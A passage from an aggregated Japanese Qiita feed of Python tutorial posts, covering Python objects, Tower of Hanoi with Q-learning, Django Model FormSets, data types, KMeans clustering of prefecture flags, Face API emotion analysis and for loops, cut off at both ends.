['__abs__', '__add__', '__bool__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getformat__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__int__', '__le__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__pos__', '__pow__', '__radd__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rmod__', '__rmul__', '__round__', '__rpow__', '__rsub__', '__rtruediv__', '__set_format__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', 'as_integer_ratio', 'conjugate', 'fromhex', 'hex', 'imag', 'is_integer', 'real']
>>> 7.7.real
7.7
>>> 7.7.is_integer()
False
>>>
>>>
>>> dir(7)
['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__init_subclass__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes']
>>> 7.real
  File "<stdin>", line 1
    7.real
         ^
SyntaxError: invalid syntax
>>>

'Cat'も7.7も、以下の抜粋のとおり、オブジェクトらしい動きをしている。
満足です!
7は、SyntaxErrorだけど。。。。これは、大人の事情でしょう(笑 ★↓)
※ご指摘頂きました。「7.」が小数として扱われるとのこと。そうだと、SyntaxErrorですね。Pythonが正しい。→→空白や()で回避できます(と教えて頂きました。)

>>> 'Cat'.swapcase()
'cAT'
>>> 7.7.is_integer()
False

まとめ

『Pythonでは、すべてがオブジェクトとして実装されている』が、体感できた。

関連(本人)

英語と日本語、両方使ってPythonを丁寧に学ぶ。

今後

Python、学ぶぞーーーー。
コメントなどあれば、お願いします。:candy:

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ハノイの塔を強化学習で解いてみた

強化学習はゲームやパズルを解く機械学習の手法であり、既に多くの方が強化学習の記事を書いていますが、まだ誰も記事にしていないものを題材にして強化学習をやりたいというモチベーションで本記事を作成しました。
ハノイの塔は非常に有名で簡単なパズルですが、強化学習で解く例を紹介しようと思います。
※記事中、強化学習の用語を太字で強調しています。
※本記事のソースコードをGitHub上に公開しています。
https://github.com/akih1992/qiita/blob/master/rl/TowerOfHanoi_QLearning.py

ハノイの塔

ハノイの塔とは、3本のポールと大きさが異なる複数枚の穴空き円盤を用いたパズルゲームです。1本のポールにすべての円盤が積み上がっている状態からスタートし、円盤を動かしながら他のポールに円盤を積み上げていきます。下図は、ハノイの塔のルールを示したものです。
ハノイの塔.png

詳細はWikipediaの記事1などを参照ください。
ハノイの塔は再帰的アルゴリズムによって解くことができるため、プログラミングの題材によく用いられるそうです。また、円盤が$n$枚のハノイの塔を解く最短手数は$2^n-1$であることが知られています。

強化学習

強化学習は機械学習の一種で、パズル・ゲームなどにおける意思決定方法を学習する手法です。パズル・ゲームを強化学習で解くための土台を環境といい、環境の中で現在の状態をもとに行動を選択する者をエージェントといいます。強化学習では、エージェントの行動に報酬が与えられ、エージェントは報酬を最も多く獲得できる行動を学習します。
※強化学習の詳細を知りたい方はこれらの記事234が参考になると思います。

実装

強化学習を行うためには、ハノイの塔を動かす環境と、最適行動を学習するエージェントの実装が必要です。

環境の実装

まず、エージェントの行動の選択肢を定義します。今回、ポールの組を行動の選択肢とし、一方のポールからもう一方のポールへ円盤を移動させることで状態遷移を行うことにします。円盤の移動はハノイの塔のルールに従って行い、円盤が1枚もないポール同士を選んだ場合は円盤の移動は行われません。このとき、行動の選択肢は3個になり、行動indexとポールの組の対応は下表のようになります。

行動index ポールの組
0 ポール0とポール1
1 ポール1とポール2
2 ポール2とポール0

また、行動選択と状態遷移のイメージは下図のようになります。

ハノイの塔_状態遷移イメージ.png

この環境を以下のように実装しました。

global MAX_DISK_SIZE
MAX_DISK_SIZE = 1000

class Pole(list):
    @property
    def top_disk(self):
        if not bool(self):
            return MAX_DISK_SIZE
        else:
            return self[-1]

    def __eq__(self, other):
        return bool(self.top_disk == other.top_disk)

    def __gt__(self, other):
        return bool(self.top_disk > other.top_disk)

    def __lt__(self, other):
        return bool(self.top_disk < other.top_disk)

    def __ne__(self, other):
        return not self.__eq__(other)

    def __le__(self, other):
        return not self.__gt__(other)

    def __ge__(self, other):
        return not self.__lt__(other)


class TowerOfHanoiEnvironment(object):
    def __init__(self, n_disks, max_episode_steps=200):
        self.n_disks = n_disks
        self.n_actions = 3
        self.max_episode_steps = max_episode_steps

    def reset(self):
        self.pole = [Pole() for i in range(3)]
        for d in reversed(range(self.n_disks)):
            self.pole[0].append(d)
        self.curr_step = 0
        return self.state

    def step(self, action):
        self.curr_step += 1
        if action == 0:
            self.move_disk(0, 1)
        elif action == 1:
            self.move_disk(1, 2)
        elif action == 2:
            self.move_disk(2, 0)

        is_terminal = False
        reward = -1

        if (len(self.pole[1]) == self.n_disks) or (len(self.pole[2]) == self.n_disks):
            is_terminal = True
            reward = 1

        elif self.curr_step == self.max_episode_steps:
            is_terminal = True

        return self.state, reward, is_terminal

    @property
    def state(self):
        state = []
        for i in range(3):
            state += [bool(j in self.pole[i]) for j in range(self.n_disks)]
        return np.array(state, dtype=np.float32)

    def move_disk(self, a, b):
        if self.pole[a] > self.pole[b]:
            self.pole[a].append(self.pole[b].pop())
        elif self.pole[a] < self.pole[b]:
            self.pole[b].append(self.pole[a].pop())

    def render(self):
        print('pole0:{}'.format(self.pole[0]))
        print('pole1:{}'.format(self.pole[1]))
        print('pole2:{}'.format(self.pole[2]))

Poleはポールを表すクラスです。円盤の出入りはLIFOなので、listを継承してappend()とpop()を用いることにします。円盤をint型で表し、数値の大きさを円盤の大きさとみなします。
Poleクラスでは、一番上の円盤を表すプロパティtop_diskを実装し、top_diskの大きさを用いてPole同士の大小比較を行うように特殊メソッド(__eq__()など)をオーバーライドしています。これは、環境クラス内の状態遷移の記述を容易にするためです。

TowerOfHanoiEnvironmentが環境を表すクラスになります。OpenAI gym5のEnvironmentクラスに倣って実装しました。n_disksは円盤の数、max_episode_stepsはエピソードを打ち切るステップ数、poleは3本のポールを保持するリストです。
状態を各ポールが各円盤を持っているかどうかをバイナリ値で表現したベクトルと定義し、stateプロパティで実装しています。(例えば、円盤の数が3枚のとき状態は9次元のベクトルになり、pole[0]に全ての円盤が積み上げられている初期状態の状態ベクトルは$(1, 1, 1, 0, 0, 0, 0, 0, 0)$になります。)
step()メソッドでは、エージェントの行動を受け取り、状態遷移と終了判定と報酬計算を行います。ハノイの塔が完成するか、現在のステップ数がmax_episode_stepsに到達したら終了とし、ハノイの塔が完成していたら+1、完成していなかったら-1の報酬を与えます。

※強化学習では、初期状態から終端状態までの1回のシミュレーションをエピソードと呼び、エピソード中の1回の行動選択と状態遷移をステップと呼びます。

エージェントの実装

今回は、強化学習のアルゴリズムとしてQ学習を採用します。軽くて性能も良いため、小規模な問題を解くのに適しています。また、探索アルゴリズムは$\boldsymbol{\epsilon}$-greedy法を用いました。
Q学習と$\epsilon$-greedy法の詳細は割愛し、ここでは実装と簡単な補足のみを掲載します。(詳細は、この記事4が参考になると思います。)

class QLearning(object):
    """
    Params:
        alpha : learning rate
        gamma : discount rate
    """
    def __init__(self, env, actor, alpha=0.01, gamma=0.99):
        self.env = env
        self.actor = actor
        self.alpha = alpha
        self.gamma = gamma
        self.q_table = defaultdict(lambda: [0 for _ in range(self.env.n_actions)])
        self.training_episode_count = 0

    def play_episode(self, train=True, display=False):
        if train:
            self.training_episode_count += 1
        state = self.env.reset()
        is_terminal = False
        while not is_terminal:
            q_values = self.q_table[tuple(state)]
            if train:
                action = self.actor.act_with_exploration(q_values)
                next_state, reward, is_terminal = self.env.step(action)
                self.update(state, action, reward, is_terminal, next_state)
            else:
                action = self.actor.act_without_exploration(q_values)
                next_state, reward, is_terminal = self.env.step(action)
            if display:
                print('----')
                print('step:{}'.format(self.env.curr_step))
                self.env.render()
            state = next_state

    def update(self, state, action, reward, is_terminal, next_state):
        target = reward + (1 - is_terminal) * max(self.q_table[tuple(next_state)])
        self.q_table[tuple(state)][action] *= self.alpha
        self.q_table[tuple(state)][action] += (1 - self.alpha) * target

class EpsilonGreedyActor(object):
    def __init__(self, epsilon=0.1, random_state=0):
        self.epsilon = epsilon
        self.random = np.random
        self.random.seed(random_state)

    def act_without_exploration(self, q_values):
        max_q = max(q_values)
        argmax_list = [
            action for action, q in enumerate(q_values)
            if q == max_q
        ]
        return self.random.choice(argmax_list)

    def act_with_exploration(self, q_values):
        if self.random.uniform(0, 1) < self.epsilon:
            actions = np.arange(len(q_values))
            return self.random.choice(actions)
        else:
            return self.act_without_exploration(q_values)

QLearningクラスがエージェントの求解・学習部分、EpsilonGreedyActorクラスがエージェントの探索部分に相当します。
QLearningクラスのq_tableは状態をキーとして行動価値を保持するdefaultdictであり、これを更新することでエージェントの行動を賢くしていきます。
play_episode()メソッドは1回のエピソードを試行するメソッドで、キーワード引数のtrainによって学習するorしないを、displayによってstepごとの状態を表示するorしないを指定することができます。学習ありのエピソードでは、エージェントは最善行動だけでなく探索的なランダム行動も選択しますが、学習なしのエピソードでは最善手のみを選択していきます。

ハノイの塔に挑戦

段数(円盤数)を変えながらハノイの塔を解いてみます。

3段のハノイの塔

max_episode_steps=100として、20エピソードの学習を行います。

import matplotlib.pyplot as plt

env = TowerOfHanoiEnvironment(n_disks=3, max_episode_steps=100)
actor = EpsilonGreedyActor(random_state=0)
model = QLearning(env, actor)
n_episodes = 20
episode_steps_traj = []

print('---- Start Training ----')
for e in range(n_episodes):
    model.play_episode()
    episode_steps_traj.append(env.curr_step)
    if (e + 1) % 1 == 0:
        print('episode:{} episode_steps:{}'.format(
            model.training_episode_count,
            env.curr_step
        ))
print('---- Finish Training ----')

plt.plot(np.arange(n_episodes) + 1, episode_steps_traj, label='learning')
plt.plot([1, n_episodes + 1], [2**3-1, 2**3-1], label='shortest')
plt.xlabel('episode')
plt.ylabel('episode steps')
plt.legend()
plt.show()

実行結果

---- Start Training ----
episode:1 episode_steps:51
episode:2 episode_steps:53
episode:3 episode_steps:19
episode:4 episode_steps:16
episode:5 episode_steps:31
episode:6 episode_steps:9
episode:7 episode_steps:31
episode:8 episode_steps:13
episode:9 episode_steps:10
episode:10 episode_steps:12
episode:11 episode_steps:8
episode:12 episode_steps:8
episode:13 episode_steps:9
episode:14 episode_steps:7
episode:15 episode_steps:7
episode:16 episode_steps:9
episode:17 episode_steps:7
episode:18 episode_steps:9
episode:19 episode_steps:7
episode:20 episode_steps:7
---- Finish Training ----

3段.png

1回目のエピソードでは解くのに50回程度かかっていますが、episodeを重ねる事で、最短手数の7ステップで解けるようになっています。
このあと、train=False、display=Trueの状態で1エピソードを実行してみます。

env.reset()
print('----')
print('initial state')
env.render()
model.play_episode(train=False, display=True)

実行結果

----
initial state
pole0:[2, 1, 0]
pole1:[]
pole2:[]
----
step:1
pole0:[2, 1]
pole1:[]
pole2:[0]
----
step:2
pole0:[2]
pole1:[1]
pole2:[0]
----
step:3
pole0:[2]
pole1:[1, 0]
pole2:[]
----
step:4
pole0:[]
pole1:[1, 0]
pole2:[2]
----
step:5
pole0:[0]
pole1:[1]
pole2:[2]
----
step:6
pole0:[0]
pole1:[]
pole2:[2, 1]
----
step:7
pole0:[]
pole1:[]
pole2:[2, 1, 0]

うまく解けていますね。

5段のハノイの塔

最短手数は31ステップです。max_episode_steps=200として、200エピソードの学習を行います。
TowerOfHanoiEnvironmentクラスのインスタンスを生成するときにキーワード引数をn_disks=5, max_episode_steps=200と変えるだけで5段ハノイの塔の環境になるため、ここでは結果のグラフのみ掲載します。
5段.png

110エピソードあたりから、ほぼ最短手数で解けるようになりました。
train=Falseの状態でエピソードを実行し、解くのに要したステップ数を確認します。

model.play_episode(train=False)
print(env.curr_step)

実行結果

31

探索なしだと最短手数で解けています。

8段のハノイの塔

最短手数は255ステップです。この規模になると、少ないmax_episode_stepsではなかなか学習してくれません。
max_episode_steps=10000として、2000エピソードの学習を行います。
学習エピソードとepisode stepsのグラフは以下のようになりました。

8段.png

1300エピソードあたりから、ほぼ最短手数で解けるようになりました。5段のときと同様にtrain=Falseにしてエピソードを実行したところ、255ステップで解けていました。

10段のハノイの塔

更に段数を増やします。最短手数は1023ステップです。max_episode_steps=1000000として10000エピソードの学習を行ったところ、最短手数で解けるようになりました。
学習エピソードとepisode stepsのグラフは以下になります。
10段.png
※私の環境(CPU:i7-7700、RAM:16GB)で45分程度かかりました。

ここで、エージェントが経験した状態の数を確認します。

print(len(model.q_table.keys()))

実行結果

59049

状態は30次元のバイナリ値ベクトルで表現されるため、考えうる状態数は$2^{30}$になりますが、それより遥かに少ない60000程度の状態の探索によって最適手順を獲得していることが分かります。

まとめ

本記事では、ハノイの塔を強化学習で解く例を紹介し、ハノイの塔が完成したら+1、完成していなかったら-1という報酬をもとに最短手数での求解を導出できることを確認しました。強化学習は報酬を決めるだけでパズル・ゲームの手順を学習できる魅力的な手法ですが、8段や10段のハノイの塔のような規模の大きい問題では、非常に多くのエピソードと、エピソード内での試行錯誤が必要になります。
今回扱ったポール数が3本のハノイの塔は非常に有名なパズルであり、最短手数の求解アルゴリズムも明らかになっています。一方、ポールの数が4本、5本と増えたバージョンのハノイの塔についてはあまり知られていないため、強化学習で求解してみると面白いと思いかもしれませんね。(次はこれをテーマに記事を書いてみたいです。)


  1. Wikipedia:ハノイの塔 

  2. Pythonではじめる強化学習 

  3. ゼロからDeepまで学ぶ強化学習 

  4. 趣味の強化学習入門 

  5. OpenAIが提供している強化学習用のプラットフォーム。(https://gym.openai.com/) 強化学習をとりあえず動かしてみたい方におすすめです。 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Django Model FormSet について

Djangoの標準機能であるModel FormSetを使ってみましたので、その備忘録です。FormSetは1画面に複数のフォームを表示するものです。

1.Model FormSetとは

まずはModel Formや単なるFormSetの復習・予習です。

1-1.Model Form

Djangoではmodelが定義してある場合、そのmodelから簡単にformを生成してくれるヘルパークラスModelFormがあります。これによりmodelとformで2重にfieldを定義することを避けることができ、一貫した定義が可能となります。

モデルからフォームを作成する

from django.db import models
from django.forms import ModelForm

TITLE_CHOICES = [
    ('MR', 'Mr.'),
    ('MRS', 'Mrs.'),
    ('MS', 'Ms.'),
]

class Author(models.Model):
    name = models.CharField(max_length=100)
    title = models.CharField(max_length=3, choices=TITLE_CHOICES)
    birth_date = models.DateField(blank=True, null=True)

    def __str__(self):
        return self.name

class Book(models.Model):
    name = models.CharField(max_length=100)
    authors = models.ManyToManyField(Author)

class AuthorForm(ModelForm):
    class Meta:
        model = Author
        fields = ['name', 'title', 'birth_date']

class BookForm(ModelForm):
    class Meta:
        model = Book
        fields = ['name', 'authors']

1-2.FormSet

フォームセットとは、同じページで複数のフォームを扱うための抽象化レイヤで、いわばデータグリッドのようなものです。つまり一枚の画面で、複数のエントリーフォームが定義でき、複数の投稿が可能となります。

フォームセット (Formset)

>>> from django import forms
>>> class ArticleForm(forms.Form):
...     title = forms.CharField()
...     pub_date = forms.DateField()
>>> from django.forms import formset_factory
>>> ArticleFormSet = formset_factory(ArticleForm)

1-3.Model FormSet

通常のフォームセット のように、Django には Django モデルを簡単に扱うための拡張的なフォームセットのクラスが用意されています。

モデルのフォームセット

>>> from django.forms import modelformset_factory
>>> from myapp.models import Author
>>> AuthorFormSet = modelformset_factory(Author, fields=('name', 'title'))

2.Model FormSetの実例

2-1.プロジェクト作成

まずはDjangoのプロジェクトを作成します。

python -m venv formset
source formset/bin/activate
cd formset
pip freeze   # インストール済みは空であることを確認
pip install django  # Djangoをインストール
django-admin startproject formset
cd formset

Remoteからアクセスするための設定です。

statictest/settings.py
---
ALLOWED_HOSTS = ["www.mypress.jp"]
---

ここまででプロジェクトが動作するので確認します。

python manage.py migrate
python manage.py runserver 0:8080

テスト用のアプリを作成します

python manage.py startapp myapp
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'myapp',
]

2-2.画面イメージ

1行が1フォームです。5行あるので5フォーム表示されています。

image.png

2-3.ソースコード

formset/urls.py
from django.contrib import admin
from django.urls import path, include

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', include('myapp.urls')),
]
myapp/urls.py
from django.urls import path
from . import views

app_name = 'myapp'

urlpatterns = [
    path('', views.add, name='index'),
]
myapp/models.py
from django.db import models
from django.utils import timezone

class Post(models.Model):
    title1 = models.CharField('タイトル1', blank=True, default='', max_length=200)
    title2 = models.CharField('タイトル2', blank=True, default='', max_length=200)
    title3 = models.CharField('タイトル3', blank=True, default='', max_length=200)
    title4 = models.CharField('タイトル4', blank=True, default='', max_length=200)

    def __str__(self):
        return self.title1

modelformset_factory()で、extra=1を指定していますので新規投稿フォームが1個表示されます。max_num=5なので5個投稿すると新規投稿フォームは表示されなくなります。

myapp/forms.py
from django import forms
from .models import Post

class PostCreateForm(forms.ModelForm):

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        for field in self.fields.values():
            field.widget.attrs['class'] = 'form-control'

    class Meta:
        model = Post
        fields = '__all__'


# modelFormSet
PostCreateFormSet = forms.modelformset_factory(
    Post, form=PostCreateForm, extra=1, max_num=5
)
myapp/views.py
from django.shortcuts import render, redirect
from .forms import PostCreateFormSet


def add(request):
    formset = PostCreateFormSet(request.POST or None)
    print(formset.errors)
    if request.method == 'POST' and formset.is_valid():
        formset.save()
        return redirect('myapp:index')

    context = {
        'formset': formset
    }

    return render(request, 'myapp/formset.html', context)

Bootstrapの設定をbase.htmlで行います。公式サイトのものをコピペします。
Starter template - Bootstrap

myapp/templates/myapp/base.html
<!doctype html>
<html lang="ja">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">

    <title>Django Model FormSet について</title>
  </head>
  <body>
    <div class="container mt-5">
        {% block content %}{% endblock %}
    </div>

    <!-- Optional JavaScript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
    <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
  </body>
</html>

{{ formset.management_form }} は、深い意味は知りませんが、formsetに必要です。
また{{ form.id }}を手動で追加していることに注意してください。idを明記しないとupdate時にエラーになります。

myapp/templates/myapp/formset.html
{% extends 'myapp/base.html' %}

{% block content %}
<form action="" method="post">
    {% for form in formset %}
        {{ form.id }}
        <div class="row">
            <div class="col-sm-3">
                {{ form.title1 }}
                {{ form.title1.errors }}
            </div>
            <div class="col-sm-3">
                {{ form.title2 }}
                {{ form.title2.errors }}
            </div>
            <div class="col-sm-3">
                {{ form.title3 }}
                {{ form.title3.errors }}
            </div>
            <div class="col-sm-3">
                {{ form.title4 }}
                {{ form.title4.errors }}
            </div>
        </div>
    {% endfor %}
    {{ formset.management_form }}
    {% csrf_token %}
    <button type="submit" class="btn btn-primary">送信</button>
</form>
{% endblock %}

今回は以上です

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

型について

前回:https://qiita.com/New_enpitsu_15/items/1b0f404b0ade21dbe2cd
次回:
目次:https://qiita.com/New_enpitsu_15/private/479c69897780cabd01f4

ここまで読んできて、気付いたことがあると思います。
”データに種類がある”
それは現実でも同じことですが、Pythonにおいて意外と重要な概念です。
現実ならば、人間が勝手にデータの種類を推測すればいいだけですが、

Pythonはプログラミング言語ですので、受け取り方によって解釈が変わってしまっては困ってしまいます。
そこで、”型”というものを使いデータの種類を確定しています。

例えば、今まで出てきた
”文字列”と”整数”で話してみましょう。
前回の記事で最後のほうに出てきた

str(1)
int("1")

を思い出してください。
この括弧の前についているstrint
これが文字列と整数の型の名前です。

"1"
1

といった書き方はシンタックスシュガー(簡単な書き方)であり
本来型を表す場合は、
型名(データ)という形で書いてあげなければなりません。

※文字列や整数などをstr(),int()などで囲うべきという話ではなく、本来はこういう記述をしますよという話です。特に訳がなければstr(),int()で囲う必要はありません。シンタックスシュガーは積極的に使用すべきです。

型の確認

データの型を確認するには、type()関数を使用します。
例えば、

type(1) #<class int>
type("1")#<class str>

などと使用することができます。
ただし、type関数が返してくれる値はstr型ではありません

type(type(1))#<class type>

type型…?どういうことなの…?
これはPythonのかなり深いところまで踏み込まなければ理解できません。
詳しく知りたい方は一連の記事でも説明する予定ですので
少々お待ちいただければ。

待ちきれない!!という方はPythonのclassについて調べてみましょう。
ついでにclassについて理解したが、それでもtype型が何者かわからない人には、
type関数で動的にクラスを定義できる。という情報をお渡ししておきましょう。

整数と小数?

先ほどから今まで数値と呼んでいたもののことを”整数”と言っていますが、
じゃあ小数は?
実は整数とは型が違うのです。小数はfloat型といい、整数と表示が違います。

1   #int(整数)型
1.0 #float(小数)型

ですが、普段からこれを意識する必要はないでしょう。

終わりに

これからどんどんプログラミングっぽくなります。

ここが分からないんだよなぁ…ということがあればコメントください。
これは初心者向けの記事。間違えてあたりまえなのですからあまり気構えずにどうぞ。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

pythonの機械学習ライブラリ(scikit-learn)を用いて、県旗を分類する

目的

pythonの機械学習ライブラリ(scikit-learn)を用いて、画像データを分類する事ができます。
今回は日本の県旗の分類を試みました。

本取り組みを行う上で、こちらのサイトを参考にさせて頂きました。

準備

・python scikit-learnライブラリ
都道府県旗-wikipedia の画像データ
(47都道府県+東京都シンボル旗=48個の旗データを取得します)
スクリーンショット 2019-04-29 19.06.37.png
・フォルダ
例に習って下記3フォルダを事前に作成します。
 flag_origin :元データ(48個)
 flag_convert:サイズ変換後データ(48個)
 flag_group :分類後データ(5クラス)
スクリーンショット 2019-04-29 19.09.52.png

コード

$ python resize.py
resize.py
import os
from PIL import Image

for path in os.listdir('./flag_origin'):
    img = Image.open(f'./flag_origin/{path}')
    img = img.convert('RGB')
    img_resize = img.resize((240, 160))
    img_resize.save(f'./flag_convert/{path}.jpg')
$ python classify.py
classify.py
import os
import shutil
import numpy as np
from skimage import data
from sklearn.cluster import KMeans

feature = np.array([data.imread(f'./flag_convert/{path}') for path in os.listdir('./flag_convert')])
feature = feature.reshape(len(feature), -1).astype(np.float64)

model = KMeans(n_clusters=5).fit(feature)

labels = model.labels_

for label, path in zip(labels, os.listdir('./flag_convert')):
    os.makedirs(f"./flag_group/{label}", exist_ok=True)
    shutil.copyfile(f"./flag_origin/{path.replace('.jpg', '')}", f"./flag_group/{label}/{path.replace('.jpg', '')}")
    print(label, path)

テスト

5クラスに分けた結果、下記のようになりました。

▪️クラス0 薄い青系
左から、福岡、兵庫、石川、滋賀、山形
class0.png

▪️クラス1 背景白い系
左から、東京都シンボル旗、青森、岐阜、鹿児島、神奈川、長崎、奈良、大分
沖縄、埼玉、富山、和歌山
class1.png

▪️クラス2 赤系
左から、愛知、秋田、福島、広島、高知、熊本、長野、新潟
島根、山口
class2.png

▪️クラス3 緑系
左から、愛媛、三重、宮崎、栃木
class3.png

▪️クラス4 その他濃い色
左から、千葉、福井、群馬、北海道、茨城、岩手、香川、京都
岡山、大阪、佐賀、静岡、徳島、東京都、鳥取、山梨
宮城

class4.png

人の目で見ても大体納得がいく位には分類する事ができました。
(個人的に、福岡の県旗が素敵に感じます)

CodingError対策

ImportError: cannot import name '_validate_lengths' from 'numpy.lib.arraypad' (/anaconda3/lib/python3.7/site-packages/numpy/lib/arraypad.py)

こちらのサイトを参照し、scikit-imageを最新にすれば良いとの事のため、下記の通りupgradeして解決。

$ pip install --upgrade scikit-image

参考

都道府県旗
scikit-learnで国旗画像をクラスタリングして似ているものを探す

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Python】ガキ使さようなら山崎邦正、山ちゃんの表情から感情をFace APIで分析してみる〜山ちゃんはあの時どんな感情だったのか〜

結論(何ができるか)

ガキ使さようなら山崎邦正の写真から山ちゃんの感情を分析することができる

背景

「こんな…いっぱい…花束…貰えるって誰が思いますか?」
ガキ使の名物企画さようなら山崎邦正。年一回のペースで放送されている企画で毎回楽しみにしている。一番の見所は山ちゃんの多彩な表情だ。毎回様々な表情を繰り出し、楽しませてくれる。でも山ちゃんは本当はどんな感情なんだろうかと疑問に思った。表情から感情を読み取ることができることもあるので、表情から感情を客観的に分析できる方法はないかと探していたらMicrosoftが提供しているFace APIというものを見つけた。写真の表情からAIが感情を分析してくれるらしい。Pythonの学習をかねてチャレンジしてみることにした。

全体の流れ

①ガキ使さようなら山崎邦正の時の写真を準備する
※今回は手動で素材を収集(スクレイピングでできるかな)
②写真をFace APIに投げる
③Face APIから返ってきた情報から一番高い数値の感情を抽出する
④抽出した結果をデータベースに格納する
⑤データベースに入った情報を集計する

実際のコード

main.py
# モジュール読み込み
import cognitive_face as CF
import sqlite3
import time
import glob

# face api設定情報
KEY = '**************************'
CF.Key.set(KEY)

BASE_URL = '**************************'
CF.BaseUrl.set(BASE_URL)

# パラメータemotionを取得して、一番値の高いものを変数に格納
# anger: 怒り, contempt: 軽蔑, disgust: 嫌悪, fear: 恐れ, 
# happiness: 幸福, neutral: 無表情, sadness: 悲しみ, surprise: 驚き
pic_list = []
for pic in glob.glob("img/*.jpeg"):
    faces = CF.face.detect(pic, face_id=False, landmarks=False, attributes='emotion')
    for face in faces:
        emo = face['faceAttributes']['emotion']
        emo = max(emo, key=emo.get)
        pic_list.append(emo)
        time.sleep(3)

# DB処理
dbpath = "emotion.db"
con = sqlite3.connect(dbpath)
cursor = con.cursor()

# 取得したpic_listをDBに格納し、集計
sql = 'INSERT INTO em(e)VALUES(?)'
for pic in pic_list:
    cursor.execute(sql, (pic,))
cursor.execute('select e, count(e) from em group by e')
data = cursor.fetchall()
print(data)

con.commit()

con.close
print("OK")

結果↓

[('anger', 3), ('disgust', 2), ('happiness', 8), ('neutral', 15), ('sadness', 7), ('surprise', 11)]

Face APIは他にも取得できるパラメータがあるので、追加すればもっといろいろなことができる。

まとめ

あんなに激しくおもしろい表情をだしているのに、意外と山ちゃんは無表情であることがわかった。サンプル数も少なく、写真の内容によって結果が変わってしまうかもしれないが、おもしろい結果が出た。今年もさようなら山崎邦正を楽しみにしている。
ちなみに、ダウンタウン二人の表情も分析したら・・・

[('neutral', 2)]

無表情(笑)

山ちゃんはやめへんで!

参考にした情報

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

はじめての Python for文とイテレータとジェネレータ

今週末にPython3 のチュートリアルを流してみたので、その際に面白いと感じたところのメモです。
参考 Python チュートリアル

動作環境

$ python --version
Python 3.7.3

はじめに

python の for 文は、イテレータから値を取り出して繰り返すだけ。
JavaやC言語のように、条件式に基づいて繰り返し判定をすることはない。
Python 言語リファレンス 8.3. for 文

使い方

リストの要素に対して繰り返す。

>>> for x in ['tic', 'tac', 'toe']:
...     print(x)
... 
tic
tac
toe

# reversed で逆順にできる
>>> for x in reversed(['tic', 'tac', 'toe']):
...     print(x)
... 
toe
tac
tic

# sorted で整列できる
>>> for x in sorted(['tic', 'tac', 'toe']):
...     print(x)
... 
tac
tic
toe

# enumerate でインデックスを取得できる
>>> for i, v in enumerate(['tic', 'tac', 'toe'], 1):
...     print(i, v)
... 
1 tic
2 tac
3 toe

指定回数だけ繰り返すときは range を使う。

>>> for x in range(5,10):
...     print(x)
... 
5
6
7
8
9

# 何個ずつ繰り上げるか指定する
>>> for x in range(5, 10, 2):
...     print(x)
... 
5
7
9

文字列に対して繰り返すこともできる。

>>> for x in "hello":
...     print(x)
... 
h
e
l
l
o

辞書型に対して繰り返すこともできる。

>>> house_words = {
...    'Baratheon': 'Ours is the Fury',
...    'Greyjoy': 'We Do Not Sow',
...    'Lannister': 'A Lannister always pays his debts',
...    'Stark': 'Winter is Coming',
... }

# キーだけ取得する
>>> for x in house_words.keys():
...     print(x)
... 
Baratheon
Greyjoy
Lannister
Stark

# 値だけ取得する
>>> for x in house_words.values():
...     print(x)
... 
Ours is the Fury
We Do Not Sow
A Lannister always pays his debts
Winter is Coming

# キーと値を取得する
>>> for k, v in house_words.items():
...     print(k, v)
... 
Baratheon Ours is the Fury
Greyjoy We Do Not Sow
Lannister A Lannister always pays his debts
